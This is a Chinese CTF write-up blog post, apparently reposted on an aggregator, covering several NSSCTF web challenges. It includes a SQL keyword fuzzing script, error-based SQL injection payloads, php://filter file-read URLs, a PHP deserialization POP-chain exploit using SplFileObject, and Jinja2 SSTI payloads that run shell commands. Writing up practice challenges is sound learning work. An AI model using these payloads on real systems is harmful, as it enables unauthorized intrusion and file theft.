NSSCTF做题(8)

news2024/11/18 0:41:26

[SWPUCTF 2022 新生赛]js_sign

看到了js代码

有一个base64编码,解密

最后发现这是一个加密方式

去掉空格之后得到了flag

NSSCTF{youfindflagbytapcode}

 [MoeCTF 2022]baby_file

提示说有一个秘密看看你能不能找到

输入?file=secret 出现报错

输入php伪协议读取index.php

?file=php://filter/convert.base64-encode/resource=index.php 

得到

CiAgICBoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7DQp9DQo/Pg0KPC9odG1sPg0K

发现就是原页面,读取flag文件

得到flag

[NISACTF 2022]join-us 

SQL如何从字符串截取指定字符(LEFT、MID、RIGHT三大函数)_sqlserver 截取字符串到某个字符-CSDN博客

渗透测试-SQL注入之Fuzz绕过WAF_fuzz模糊注入_炫彩@之星的博客-CSDN博客

深入浅出带你学习无列名注入-CSDN博客

在登录找到了注入点

sql学的还是太少了,看网上大佬的思路来学的这道题

先用脚本对他进行fuzz测试,

大佬脚本:

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.post(url='******',data={'tt':i})
    if '不要耍小心思喔~'  in res.text:
        print(i)

测试结果:

insert
ascii
=
as
BY
BENCHMARK
UPDATE
sleep
anandd
case
FLOOR
&
union
LEFT
substring
benchmark
&&
updatexml
IF
CAST()
AND
rand()
CAST
database
DATABASE
left
right
by
'1'='1'
COLUMN
DATABASES
sys.schema_auto_increment_columns
floor
handler
update

其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。

payload:

-1' || (select*from ANTONIE)#

发现了报错注入

接着就是正常的报错注入

-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

爆出表Fal_flag,output

接下来column被ban了,所以用无列注入,join题目也有提示。

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))# 

最后用mid或reverse函数读取flag

1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

[GDOUCTF 2023]反方向的钟 

反序列化

 还是,构造pop链的话先从最后往前推

找可以命令执行的地方

发现只有一句这个  echo new $_POST['a']($_POST['b']);

又是一个新知识点

SecIN(浅谈php中常见的原生类)

能利用原生类SplFileObject读取文件

 所以目标点加上school类中的IPO方法

在__wakeup()类中 调用

而且只有 $this->department->hahaha() 为真时才可以调用

 变量department又要调用hahaha()

hahaha()是classroom类中的方法,所以这里要实例化classroom赋给dapartment

要实例化hahaha()就要满足这条语句

 if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department')

这里的变量name和rank又联系到了第一大类

hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量

有这两个变量的只有teacher类,所以要实例化该类并赋值给leader

最后就是在teacher类中赋值name和rank即可

大致的链子为:

school::__wakeup()–>classroom::hahaha()–>school::IPO()  

poc是

<?php

class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
$a=new school(new classroom("one class",new teacher("ing","department")),"ong");

/*******/创建了一个 teacher 对象,使用 "ing" 作为姓名,"department" 作为职位,默认薪水为 10000。创建了一个 classroom 对象,使用 "one class" 作为名称,并将上一步创建的 teacher 对象作为领导。创建了一个 school 对象,使用上一步创建的 classroom 对象作为部门,以及字符串 "ong" 作为校长。将创建的 school 对象赋值给变量 $a。/********/

 
echo urlencode(base64_encode(serialize($a)));
?>

 

成功绕过

 接下来利用原生类SplFileObject读取文件

a为类,b用php协议读取flag.php   /代码中说了flag在flag.php中

所以POST的payload为:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php 

解密得flag

[SWPUCTF 2022 新生赛]xff 

看标题,先来个抓个包瞅瞅

他说必须从小红自己的电脑上访问

直接抓包然后xff,发现没有东西

看看在加个referer:xiaohong

 [NSSRound#4 SWPU]1zweb

看标签是有php伪协议,上传文件不知道他都有什么绕过

 在查询文件里输入 php://filter/convert.base64-encode/resource=/flag

 得到了base64编码

解码得到flag

 [HNCTF 2022 WEEK2]ez_SSTI

进去直接问你什么是模板注入,忍不了一点

SSTI (Server Side Template Injection) - HackTricks

这是题里给的链接,讲解的很详细

得到的参数是name,发现是jinja2模板,而且没过滤

找到flag文件

 ?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

读取 ?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}

ssti好久没复习,都有点忘了,而且之前博客整理的payload也不够

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1082352.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Simulink仿真之离散系统

最近&#xff0c;为了完成课程作业&#xff0c;需要用到Simulink验证数字控制器的合理性。题目如下所示。 其实这道题在胡寿松老师的《自动控制原理&#xff08;第七版&#xff09;》的364页有答案。 这里给出数字控制器的脉冲传递函数为 ​​​​​​​ ​​​​​​​…

【22】c++设计模式——>外观模式

外观模式定义 为复杂系统提供一个简化接口&#xff0c;它通过创建一个高层接口(外观)&#xff0c;将多个子系统的复杂操作封装起来&#xff0c;以便客户端更容易使用。 简单实现 #include<iostream>// 子系统类 class SubsystemA { public:void operationA() {std::co…

经典循环命题:百钱百鸡

翁五钱一只&#xff0c;母三钱&#xff0c;小鸡三只一钱&#xff1b;百钱百鸡百鸡花百钱。 (本笔记适合能熟练应用for循环、会使if条件分支语句、能格式化字符输出的 coder 翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free&#xff1a…

自定义表单工具好用的优点是什么?

如果想提升办公效率&#xff0c;那么就离不开低代码技术平台了。它的轻量级、易掌握、易操作、简洁简便等优势特点深得很多领域客户朋友的喜爱。目前&#xff0c;IBPS开发平台在通信业、制造业、医疗、高校等很多行业中得到了客户的肯定和喜爱&#xff0c;推广价值高&#xff0…

懒人福利:不用动脑就能制作电子画册

对于很多企业来说&#xff0c;想要快速把自己的活动大面积的宣传出去&#xff0c;就要快人一步提前制作电子版画册&#xff0c;通过网络推送出去&#xff0c;让大众及时了解。如何制作电子版画册呢&#xff1f; 我发现了一个懒人福利&#xff01;就是FLBOOK &#xff0c;它简单…

学习函数式编程、可变参数及 defer - GO语言从入门到实战

函数是⼀等公⺠、学习函数式编程、可变参数及 defer - GO语言从入门到实战 函数是⼀等公⺠ 在Go语言中&#xff0c;函数可以分配给一个变量&#xff0c;可以作为函数的参数&#xff0c;也可以作为函数的返回值。这样的行为就可以理解为函数属于一等公民。 与其他主要编程语⾔…

Nodejs内置模块process

文章目录 内置模块process写在前面1. arch()2. cwd()3. argv4. memoryUsage()5. exit()6. kill()7. env【最常用】 内置模块process 写在前面 process是Nodejs操作当前进程和控制当前进程的API&#xff0c;并且是挂载到globalThis下面的全局API。 下面是process的一些常用AP…

linux开发板中的数据存储和读取操作

问题&#xff1a;MQTT远程下发的参数存储在本地linux开发板&#xff0c;开发板依据该参数执行相应功能&#xff0c;当开发板重新上电时依然能继续执行该功能 解决方式&#xff1a; 在linux板中写一个标识并存储为文件&#xff0c;依据读取的文件标识执行相应的功能 1)打开文…

【2023】M1/M2 Mac 导入Flac音频到Pr的终极解决方案

介绍 原作者链接&#xff1a;https://github.com/fnordware/AdobeOgg 很早之前就发现了这个插件&#xff0c;超级好用&#xff0c;在windows上完全没有问题&#xff0c;可惜移植到mac就不行了&#xff08;然后我给作者发了一个Issue&#xff0c;后来就有大佬把m1的编译出来了&…

Ai绘画描述词 关键词大全 真人美女 二次元卡通美女 国漫动漫效果

超好看的二次元动漫美少年 都是用Ai工具直接绘画生成出来的。 还有真人绘画&#xff0c;效果也很逼真 还有更多的场景效果 寂静天空素材 做抖音 短视频 精美的图片素材都是通过Ai绘画的 但是绘画需要关键词去描述场景&#xff0c;Ai才能自动根据场景描述词生成出来图片。 如何…

【Java学习之道】接口与抽象类

引言 现在我们来聊聊接口和抽象类。在Java中&#xff0c;接口和抽象类是实现OOP的重要工具&#xff0c;它们允许我们定义规范和行为&#xff0c;让代码更具灵活性和可扩展性。这一节&#xff0c;我们就来详细探讨一下这两个神奇的功能。 一、接口 接口是一个完全抽象的类&am…

【LeetCode高频SQL50题-基础版】打卡第6天:第31~35题

文章目录 【LeetCode高频SQL50题-基础版】打卡第6天&#xff1a;第31~35题⛅前言员工的直属部门&#x1f512;题目&#x1f511;题解 判断三角形&#x1f512;题目&#x1f511;题解 连续出现的数字&#x1f512;题目&#x1f511;题解 指定日期的产品价格&#x1f512;题目&am…

通讯网关软件021——利用CommGate X2OPC实现OPC客户端访问Modbus设备

本文介绍利用CommGate X2OPC实现OPC客户端连接Modbus设备。CommGate X2OPC是宁波科安网信开发的网关软件&#xff0c;软件可以登录到网信智汇(http://wangxinzhihui.com)下载。 【案例】如下图所示&#xff0c;SCADA系统上位机、PLC、设备具备Modbus通讯接口&#xff0c;上位机…

工程物料管理信息化建设(十二)——关于工程物料管理系统最后的思考

目录 1 功能回顾1.1 MTO模块1.2 请购模块1.3 采购模块1.4 催交模块1.5 现场管理模块1.6 数据分析和看板模块1.7 其它模块 2 最后几个问题2.1 按管线发料和直接发料重叠2.2 YHA 材料编码的唯一性问题2.3 “合同量单-箱单-入库单” 数据映射 3 关于未来的思考3.1 三个专业之间的关…

单点接地、多点接地、混合接地

有三种基本的信号接地方式:浮地、单点接地、多点接地。 浮地&#xff1a;目的是使电路或设备与公共地线可能引起环流的公共导线隔离起来&#xff0c;浮地还使不同电位的电路之间配合变得容易。缺点&#xff1a;容易出现静电积累引起强烈的静电放电。折中方案&#xff1a;接入泄…

基于小波变换的分形信号r指数求解算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 ................................................................... %通过功率谱密度曲线…

Java数据结构第十九章、手撕图+最小生成树

一、图的基本概念 图是由顶点集合及顶点间的关系组成的一种数据结构:G = (V, E),其中:顶点集合V = {x|x属于某个数据对象集}是有穷非空集合;E = {(x,y)|x,y属于V}或者E = {<x, y>|x,y属于V && Path(x, y)}是顶点间关系的有穷集合,也叫做边的集合。(x, y)表…

c#设计模式-行为型模式 之 迭代器模式

&#x1f680;简介 提供一个对象来顺序访问聚合对象中的一系列数据&#xff0c;而不暴露聚合对象的内部表示。 迭代器模式主要包含以下角色&#xff1a; 抽象聚合&#xff08;Aggregate&#xff09;角色&#xff1a;定义存储、添加、删除聚合元素以及创建迭代器对象的接口…

flask vue跨域问题

问题&#xff1a; 调试时候跨域访问报&#xff1a; Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response. 解决办法&#xff1a; 安装flask_cros from flask_cors import CORS CORS(app) app.after_request def a…

linux用户管理,用户权限命令详解

一.用户管理 Linux 同时可以支持多个用户&#xff0c;每个用户对自己的文件设备有特殊的权利&#xff0c;能够保证用户之间互不干扰,就像手机开了助手一样&#xff0c;同时登陆多个 qq 账号&#xff0c;当硬件配置非常高时&#xff0c;每个用户还可以同时执行多个任务&#xf…